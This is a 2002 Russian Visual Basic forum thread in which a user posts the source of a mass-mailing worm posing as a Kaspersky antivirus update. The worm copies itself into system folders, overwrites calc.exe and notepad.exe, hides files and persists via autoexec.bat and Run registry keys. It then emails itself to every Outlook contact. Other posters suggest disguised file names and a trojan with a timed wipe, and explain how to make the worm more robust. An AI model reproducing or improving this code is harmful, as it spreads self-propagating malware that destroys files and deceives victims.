WWW.ИСХОДНИКИ.РУ cpp.sources.ru
java.sources.ru web.sources.ru soft.sources.ru
jdbc.sources.ru asp.sources.ru api.sources.ru

  Форум на исходниках
  Visual Basic
  Есть маленький вопросик!!!

СПРОСИТЬ  ОТВЕТИТЬ
профайл | регистрация | faq

Автор Тема:   Есть маленький вопросик!!!
MYSTIQUE опубликован 22-01-2002 00:30 MSK   Click Here to See the Profile for MYSTIQUE   Click Here to Email MYSTIQUE  
Как при запуске файла установить у него аттрибуты скрытый или(и) системный!!!
al опубликован 22-01-2002 12:24 MSK     Click Here to See the Profile for al  Click Here to Email al     
2All: У меня есть большое подозрение, что товарищ пишет вирус (учитывая его предыдущие вопросы в форуме). Может не будете больше ему помогать? А то потом самим эта пакость нагадит?
Vasya2000 опубликован 22-01-2002 13:22 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
Нам эта пакость никак не нагадит, а вот ему самому - вполне возможно.
А вообще, у меня , к примеру , независимо от аттрибутов видны ВСЕ файлы!
AlexR опубликован 22-01-2002 19:35 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
А у меня не видны системные и скрытые, если в "Свойствах папок" поставить "Не отображать скрытые и системные файлы". Так что если этот папаметр не стоит, то файл всё равно будет виден.
to MYSTIQUE: короче сделай чтоб твой червь копировался в какую-нибудь папку (типа C:\Windows\System\Vmm32) где червя никто не будет искать.
Или при запуске твой червь определяет директорию Windows и копируется туда под именем, к примеру, regedyt.exe (ты какую нибудь иконку Windows'совскую возьми).
BootMaster опубликован 22-01-2002 19:35 MSK     Click Here to See the Profile for BootMaster  Click Here to Email BootMaster     
Но все же вот тебе на всякий случай:
SetAttr FileName, vbHidden + vbSystem
MYSTIQUE опубликован 22-01-2002 21:52 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
to Al - какой ты догадливый!!!
rivitna опубликован 22-01-2002 22:11 MSK     Click Here to See the Profile for rivitna  Click Here to Email rivitna     
2 al:
Когда такие люди пишут вирусы, можно быть спокойным, а так глядишь, программить научиться
Есть такой класс вирусов "Intended", так эта поделка пополнит ряды этого класса.
Да, еще Касперский выделяет класс "Hoax", что тоже недалеко от истины
7in опубликован 22-01-2002 23:11 MSK     Click Here to See the Profile for 7in  Click Here to Email 7in     
2 MYSTIQUE: Ты полвируса хотя бы уже написал? :) . Когда закончишь, обязательно кинь в форум описание, всем будет интересно :))))
2 AlexR: У меня такое зелёное чувство, что "Не отображать скрытые и системные файлы" очень легко подправить в реестре :)
Vasya2000 опубликован 23-01-2002 04:21 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
Для этого надо помониторить реестр...
Zzzaraza опубликован 23-01-2002 09:28 MSK     Click Here to See the Profile for Zzzaraza  Click Here to Email Zzzaraza     
2al: Ну и пусть пишет, нет худа без добра, глядишь какую-нить дыру найдет в системе, потом мелкомягкие заплатку сделают, вот тебе и польза.

2MYSTIQUE: а у тебя не было мысли написать какую-нить полезную прогу, файловый менеджер какой-нить, архиватор убийственный или для бухгалтерии чё-нить, чтоб её абсолютно все захотели поиметь, а потом в один прекрасный момент она (прога) поимела бы их?. В этом случае голова не будет болеть как распространять или скрывать вирус :)

AlexR опубликован 23-01-2002 11:40 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
Можно конечно в реестре порыться. Как чё нибудь найду, сразу напишу.
MYSTIQUE опубликован 23-01-2002 15:01 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
К вопросу о реестре - а если поставить такую фишку как DisableRegistryTools.(что тогда делать)или например RestrictRun.
К вопросу о вирусе - написал!!!!!!!
К вопросу о полезной проге - может ченить придумаю!!!(Подскажите, если есть идеи)
Vasya2000 опубликован 24-01-2002 14:00 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden=1 (0x00000001)
2 MYSTIQUE :
ты нам хотябы "избранное" из своего червя покажи, интересно

AlexR опубликован 24-01-2002 14:41 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
to MYSTIQUE: да, покажи.
AlexR опубликован 24-01-2002 16:27 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
to MYSTIQUE: а зачем, к стати, делать файл червя скрытым?
MYSTIQUE опубликован 24-01-2002 21:48 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Не покажу!!!
Vasya2000 опубликован 25-01-2002 04:17 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
фу, какой ты гадкий. мы тебе помогаем, а ты вот как!
MYSTIQUE опубликован 25-01-2002 09:55 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Я вовсе не гадкий а белый и пушистый,просто если я его покажу вы потом смеяться будуте(если обещаете этого не делать тогда покажу)
purpe опубликован 25-01-2002 10:05 MSK     Click Here to See the Profile for purpe  Click Here to Email purpe     
Обещаем!
Zzzaraza опубликован 25-01-2002 10:39 MSK     Click Here to See the Profile for Zzzaraza  Click Here to Email Zzzaraza     
Показывай!!! А кто смеяться будет, того заразить! ;)

>К вопросу о полезной проге - может ченить придумаю!!!(Подскажите, если есть идеи)

Появилась одна идейка, но придется на asm переключиться, короче:
1.Полезность: полная защита от всех вирусов, вторжений в компьютер, а так же несанкционированного доступа к информации.

2.Вредоностность: в час X все наXYZ удаляется [тока это куда-инть спрятать надо, шоб никто не нашел, до поры до времени] :)

3.Реализация: зашифровать [переименовать] все сообщения виндовс, вызовы функций в ядре и во всех приложениях,ну и периодически эту процедуру повторять, типа полиморфный вирус из форточек сделать :), естесно для каждой машины получиться своя ось[если смотреть из вне, ну а внутри все будет как было, т.к. функции будут переименованы и в ядре и в приложениях, никто ничё и незаметит, в смысле приложения под Вынь не заметят], но если на такую машину нападет вирус или кто-нить решит вломиться, то хрен чё он в ней поймет.

зы про все вирусы это я конечно загнул, но простой обыватель должен поверить.
ззы какой ж я нехороший, аш самому приятно :)))

AlexR опубликован 25-01-2002 13:58 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
Я обещаю.
Vasya2000 опубликован 25-01-2002 15:12 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
Не буду смеяться, показывай!!
AlexR опубликован 25-01-2002 15:17 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
ПОКАЗЫВАЙ!!!
MYSTIQUE опубликован 25-01-2002 17:33 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Private Sub Form_Load()
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "Kaspersky.exe", "c:\Kaspersky.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\Kaspersky.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\Temp\temp.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\System\system.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\System32\Kaspersky.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\Fonts\Kaspersky.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\Web\rundll.exe"
fs.DeleteFile "c:\Windows\Calc.exe", True
fs.DeleteFile "c:\Windows\Notepad.exe", True
fs.CopyFile "Kaspersky.exe", "c:\Windows\Calc.exe"
fs.CopyFile "Kaspersky.exe", "c:\Windows\Notepad.exe"
Open "C:\Windows\Kaspersky.bat" For Output As #1
Print #1, "attrib +h +s +r c:\Windows\Kaspersky.exe"
Print #1, "attrib +h +s +r c:\Windows\Temp\temp.exe"
Print #1, "attrib +h +s +r c:\Windows\System\system.exe"
Print #1, "attrib +h +s +r c:\Windows\System32\Kaspersky.exe"
Print #1, "del C:\Windows\Kaspersky.bat"
Close #1
Shell "start C:\Windows\Kaspersky.bat"
Open "C:\autoexec.bat" For Output As #2
Print #2, "@echo off"
Print #2, "call c:\Kaspersky.bat"
Print #2, "attrib +h c:\autoexec.bat"
Open "c:\Windows\Kaspersky.vbs" For Output As #3
Print #3, "On Error Resume Next"
Print #3, "Dim FileSysObject,File"
Print #3, "Set FileSysObject = CreateObject ("; Scripting.FileSystemObject; ")"
Print #3, "Set File = FileSysObject.GetFile(WScript.ScriptFullName)"
Print #3, "Dim OutlookObject, OutMail, Index"
Print #3, "Set OutlookObject = CreateObject("; Outlook.Application; ")"
Print #3, "For Index = 1 To 100"
Print #3, "Set OutMail = OutlookObject.CreateItem(0)"
Print #3, "OutMail.to ="
Print #3, "OutlookObject.GetNameSpace("; MAPI; ").AddressLists(1).AddressEntries(Index)"
Print #3, "OutMail.Subject = "; Kaspersky; News; ""
Print #3, "OutMail.Body = "; Read; our; News; ""
Print #3, "OutMail.Attachments.Add(c:\Windows\Fonts\Kaspersky.exe)"
Print #3, "OutMail.Send"
Print #3, "Next"
Shell "start C:\Windows\Kaspersky.vbs"
End
Dim fso, host
Set fso = CreateObject("Scripting.FilesystemObject")
host = "C:\Windows\Command\Kaspersky.exe"
If fso.FileExists(host) = False Then
fso.CopyFile App.Path & "\" & App.EXEName & ".exe", host, 1
End If
Set sDrajv = fso.Drives
For Each s In sDrajv
If s.drivetype = 1 Or 3 Then
If s.drivetype = 4 Then GoTo dalje
If s.isready = True Then
fso.CopyFile host, s.driveletter & ":\", True
End If
End If
Next s
dalje:
Dim mess(0 To 3)
mess(0) = "Kaspersky Anti-Virus version 4.0(Update for old version)"
mess(1) = "KAV - update for old version"
mess(2) = "New version of Kaspersky Anti-Virus (version 4.0_"
mess(3) = "Update for old version of Kaspersk Anti-Virus"
If fso.FileExists("c:\windows\system\Kaspersky.exe") = False Then
fso.CopyFile App.Path & "\" & App.EXEName & ".exe", "c:\windows\Config\Kaspersky.exe", 1
End If
Dim Wshs
Set Wshs = CreateObject("WScript.Shell")
Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Kaspersky", "c:\windows\Config\Kaspersky.exe"
Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\System module", "c:\Windows\System\system.exe"
Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Rundll module", "c:\Windows\System32\Kaspersky.exe"
Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AVCC", "c:\Windows\Fonts\Kaspersky.exe"
Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Temporary", "c:\Windows\Temp\temp.exe"
Wshs.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Rundll32PowerProfile", "c:\Windows\Web\rundll.exe"
Dim a, b, c
Set a = CreateObject("Outlook.Application")
Set b = a.getnamespace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For f = 1 To b.addresslists.Count
For d = 1 To b.addresslists(f).addressentries.Count
With a.createitem(0)
Set g = b.addresslists(f).addressentries(d)
.Recipients.Add g
.Subject = "Anti-Virus Kaspersky"
.body = mess(Int(Rnd(1) * 4))
.Attachments.Add "C:\Windows\Command\Kaspersky.exe"
.send
End With
g = ""
Next d
Next f
b.logoff
End If
End Sub
'Name - MYSTIQUE
'Author name - MYSTIQUE
'Version - 1.0

AlexR опубликован 25-01-2002 19:26 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
to MYSTIQUE: к стати, зайди сюда: http://xuyaker.narod.ru/index3.htm
AlexR опубликован 25-01-2002 19:28 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
to MYSTIQUE: а ещё сюда: http://www.uinc.ru:8101/articles/17/index.shtml
AlexR опубликован 25-01-2002 19:32 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
Да, и сюда тоже: http://brakonier.by.ru/sbs/x8.shtml
MYSTIQUE опубликован 25-01-2002 20:45 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Ну зашел и че!!!
7in опубликован 25-01-2002 22:49 MSK     Click Here to See the Profile for 7in  Click Here to Email 7in     
2 MYSTIQUE:
А у меня Windows на диске D: ... :)
Воспользуйся Evniron("windir")
MYSTIQUE опубликован 25-01-2002 22:57 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Там же написано version 1.0(бета тестеры откликнитесь)
Я вот думаю может добавить фишку чтобы он разные доки шифровал или еще какую-нибудь бяку!!!
Lamer опубликован 26-01-2002 01:57 MSK     Click Here to See the Profile for Lamer  Click Here to Email Lamer     
Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо! Гы-гы-гы-гы! Ха-ха-ха-ха! Хи-хи-хи-хи! Хо-хо-хо!

Не волнуйся, MYSTIQUE, это я не смеялся.
Это шарада с призом! Если сосчитаешь, сколько здесь "ха", "хо", "хи" и "гы", то получишь приз! Знания! Узнаешь, что твой вирус под ВинНТ работать не будет! Ведь там нет папки c:\Windows, там c:\Winnt. Чтобы получать пути к системным директориям виндов существует куча АПИ ф-ций, например, GetWindowsDirectory, а команды start (файла start.exe) нет ни в линолеуме, ни в 2000-х, ни в XP. Да как вообще можно писать вирусы на ВБ без АПИ? И нахрена писать ЕХЕ-файл, который пишет скриптовирус, шли лучше по почте тогда сам VBS-файл. Или пусть работа с объектами Outlook происходит непосредственно в программе. Хотя это тупо, ведь ЕХЕ-шник может содержать собственный почтовый клиет, что !!!!!гораздо!!!!! надёжней! И вообще, почитай лучше сначала пару умных книг, к примеру, "Как написать вирус", а потом пиши. Ведь портить людям жизнь - это тоже искусство.

Vasya2000 опубликован 26-01-2002 09:27 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
Мдаааа...................
Lamer опубликован 26-01-2002 11:04 MSK     Click Here to See the Profile for Lamer  Click Here to Email Lamer     
Да, кстати, писать batch-файл для установки атрибутов - просто дибилизм! Не проще ли воспользоваться оператором SetAttr? А использовать Scripting.FilesystemObject для проверки существования файла (конечно, учитыва то, что на всех хороших серверах стоит Scripting Debugger, который немедленно доложит админу о своём исользовании) ну ни в какие рамки не лезет! Короче, если ты будешь продолжать в том же духе, тебя либо посадят, либо дадут "орден идиота первой степени" и занесут в Книгу Рекордов Гиннеса как "автора самого галимого вируса за всю историю человечества"! Вот друзья то будут завидовать!
MYSTIQUE опубликован 26-01-2002 16:04 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Вам бы только обосрать.А ты Lamer просто
п%&&^&%ок!!!!
AlexR опубликован 26-01-2002 17:17 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
to MISTIQUE: короче, сделай чтобы твой червь сначала определял директорию Windows, а потом копировался. Кстати ты забыл добавить отладчик ошибок.
Vasya2000 опубликован 27-01-2002 06:46 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
да плюнь ты на этого червя, пользы от него никакой
AlexR опубликован 27-01-2002 10:28 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
Лучше игру напиши про червяка, типа змейки. ;-)
MYSTIQUE опубликован 27-01-2002 11:40 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
Попробую,а поможете!!!
Vasya2000 опубликован 27-01-2002 12:10 MSK     Click Here to See the Profile for Vasya2000  Click Here to Email Vasya2000     
червяк типа змейки - рулез, но я пас. непотяну.
Lamer опубликован 27-01-2002 12:52 MSK     Click Here to See the Profile for Lamer  Click Here to Email Lamer     
Ну наконец хоть одно конструктивное предложение, а то всё вирусы да вирусы. Да, MYSTIQUE, если все же надумаешь сделать игру про змейку, то пусть игра на диск никаких batch-файлов не пишет. Несолидно как-то. А лучше сделай игру 3D, сейчас это в моду вошло!
MYSTIQUE опубликован 27-01-2002 19:02 MSK     Click Here to See the Profile for MYSTIQUE  Click Here to Email MYSTIQUE     
O'k.....
AlexR опубликован 27-01-2002 20:12 MSK     Click Here to See the Profile for AlexR  Click Here to Email AlexR     
Или напиши программу ко "Дню ламеров" (4 февраля).

СПРОСИТЬ  ОТВЕТИТЬ
Перейти:


E-mail | WWW.ИСХОДНИКИ.RU

Powered by: Ultimate Bulletin Board, Freeware Version 5.10a
Purchase our Licensed Version- which adds many more features!
© Infopop Corporation (formerly Madrona Park, Inc.), 1998 - 2000.